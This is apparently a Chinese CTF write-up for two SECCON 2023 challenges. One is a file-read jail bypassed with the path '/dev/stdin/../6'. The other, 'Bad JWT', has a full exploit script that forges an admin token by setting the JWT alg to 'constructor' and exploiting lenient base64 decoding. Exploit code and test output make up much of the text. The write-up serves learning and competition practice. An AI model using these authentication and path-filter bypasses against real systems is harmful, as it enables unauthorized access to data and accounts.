readme 2023

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import mmap
import os
import signal

signal.alarm(60)

try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ) # Copilot解释:这行代码是 Python 用于内存映射文件的代码。它使用 mmap 模块中的 mmap 函数来创建一个内存映射文件对象 mm。该函数的第一个参数是文件描述符,它可以通过 fileno() 方法从文件对象 f 中获取。第二个参数是映射的长度,这里设置为 0,表示映射整个文件。第三个参数是保护模式,这里设置为 mmap.PROT_READ,表示只读模式。这行代码的作用是将文件 f 映射到内存中,以便更快地访问文件内容。
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)

while True:
path = input("path: ")

if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)

with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))

非常简单易懂的代码,但是是没遇到过的trick。直接过滤了flag.txt,以及相当于过滤了/proc/self/fd(顺便贴链接:Proc 目录在 CTF 中的利用-安全客 - 安全资讯平台 (anquanke.com))……吗?

这里的奇技淫巧在于/dev/stdin/dev/stdout/dev/stderr,即标准输入、标准输出、标准错误(好像比较少见)

1
2
3
4
ls -l /dev/stdin /dev/stdout /dev/stderr
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -> /proc/self/fd/1

因此,如果路径是/dev/stdin/..,那这个路径就到了/proc/self/fd了。至于flag是fd中的哪个文件,print一下f.fileno()就能得到6,因此payload:/dev/stdin/../6

Bad JWT

首先是找到了看不懂的日语wp(CTF_Writeups/SECCON2023 at master · xryuseix/CTF_Writeups (github.com)),即使有翻译也看得很懵,所有直接拿exp脚本配合源码研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import base64
import requests
import json


header = {"typ": "JWT", "alg": "constructor"}
headerStr = json.dumps(header).encode("utf-8")
body = {"isAdmin": True}
bodyStr = json.dumps(body).encode("utf-8")

print(headerStr)
print(bodyStr)

def base64_encode(str: str):
return (
base64.b64encode(str).replace(b"=", b"").replace(b"+", b"-").replace(b"/", b"_")
)


headerBase64 = str(base64_encode(headerStr))[2:-1]
bodyBase64 = str(base64_encode(bodyStr))[2:-1]

jwt = f"{headerBase64}.{bodyBase64}.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"
print(jwt)

res = requests.get("http://bad-jwt.seccon.games:3000", cookies={"session": jwt})

print(res.text)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// index.js
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;

const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const secret = require('crypto').randomBytes(32).toString('hex');

app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
return res.status(400).send('Authentication failed');
}
return next();
})

app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});

app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// jwt.js
const crypto = require('crypto');

const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}

const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}

const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}

const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}

const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}

const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');

const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);

return { header: parsedHeader, payload: parsedPayload, signature }
}

const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}

const signature = createSignature(header, payload, secret);

const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}

const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);

const calculated_signature = createSignature(header, payload, secret);

const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');

if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}

return payload;
}

module.exports = { sign, verify }

首先是给jwt的header中“alg”赋了“constructor”,不免让我感到迷惑。事实上做题时就意识到了verify写的有问题,使用什么算法是可控的(即调用algorithms对象中的任意属性),但出于对js的不了解,当时对hs256和hs512无从下手。而在对exp的研究中也不理解哪里来的constructor。想看看flag的提示(不少flag会和考点有关)SECCON{Map_and_Object.prototype.hasOwnproperty_are_good},查询可知:hasOwnProperty() 方法返回一个布尔值,表示对象自有属性(而不是继承来的属性)中是否具有指定的属性。因此console.log(algorithms.hasOwnProperty("constructor"))输出为false。我的猜测大概这也是一个继承自原型对象的属性,应该只有“hs256”和“hs512”会是true。以及也是第一次知道js能通过[]调用对象方法,而且使用这种方式的情况下浏览器控制台依然会给出完整的补全提示

algorithms_browser

反观vscode,仅有自有属性的补全提示,差评!

algorithms_vscode

所以constructor是啥呢?Object.prototype.constructor - JavaScript | MDN (mozilla.org)Object 实例的 constructor 数据属性返回一个引用,指向创建该实例对象的构造函数。注意,此属性的值是对函数本身的引用,而不是一个包含函数名称的字符串。备注: 这个属性默认会在每个构造函数的 prototype 属性上创建,并由该构造函数创建的所有对象继承。除了 null 原型对象之外,任何对象都会在其 [[Prototype]] 上有一个 constructor 属性。使用字面量创建的对象也会有一个指向该对象构造函数类型的 constructor 属性。

所以,破案了,为什么有constructor这个属性,而console.log(algorithms.hasOwnProperty("constructor"))输出为false,上面的猜测应该没问题。另外,此处相当于只传入了第一个参数,即字符串"data",然后默认的构造函数对其初始化后返回其对象,即一个String类型的对象"data"。可以测试一下

1
2
3
4
5
6
7
8
9
var a = 1
console.log(algorithms["constructor"](a, "secret"))
console.log(algorithms["constructor"]("data", "secret"))
console.log(algorithms["constructor"](algorithms, "secret"))

// 输出
[Number: 1]
[String: 'data']
{ hs256: [Function: hs256], hs512: [Function: hs512] }

因此我们控制了alg,让verify调用了algorithms的constructor,绕过了加密signature这一步。但是这里exp的signature是咋来的呢?最合理的方法是调试一下看看verify中如何让calculated_buf和expected_buf相等。参考源码写法尝试一下

1
2
3
4
5
6
const secret = crypto.randomBytes(32).toString('hex');
const header = { typ: "JWT", alg: "constructor" };
const payload = { isAdmin: true };
const token = sign("HS256", payload, "secret");
console.log(token);
console.log(verify(token, secret));

的确没过verify,合情合理。这个token长这样eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ四段怎么可能会对。欲解决此问题,就需要把signature变成一段。其实解决方法就是把signature的.去掉就好了,为什么呢?源码是这么写的

1
2
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');

这里Buffer.from指定了base64编码,这里base64编码会直接忽略掉非base64编码的字符,而.恰好不少base64编码的字符。我们可以尝试一下

1
2
3
4
5
6
7
8
9
10
11
12
var signWithDot = "eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ"
var signWithoutDot = "eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ"
console.log(Buffer.from(signWithDot, 'base64'))
console.log(Buffer.from(signWithoutDot, 'base64'))
console.log(Buffer.compare(Buffer.from(signWithDot, 'base64'), Buffer.from(signWithoutDot, 'base64')))

// 输出
<Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72
75 65 7d>
<Buffer 7b 22 74 79 70 22 3a 22 4a 57 54 22 2c 22 61 6c 67 22 3a 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 7d 7b 22 69 73 41 64 6d 69 6e 22 3a 74 72
75 65 7d>
0

compare结果为0,可喜可贺。因此这题我们最终解决了signature的难题,最后的token就是eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjogdHJ1ZX0.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ。设置一下Cookie: session=就行了,当然exp用requests直接发包也是极好的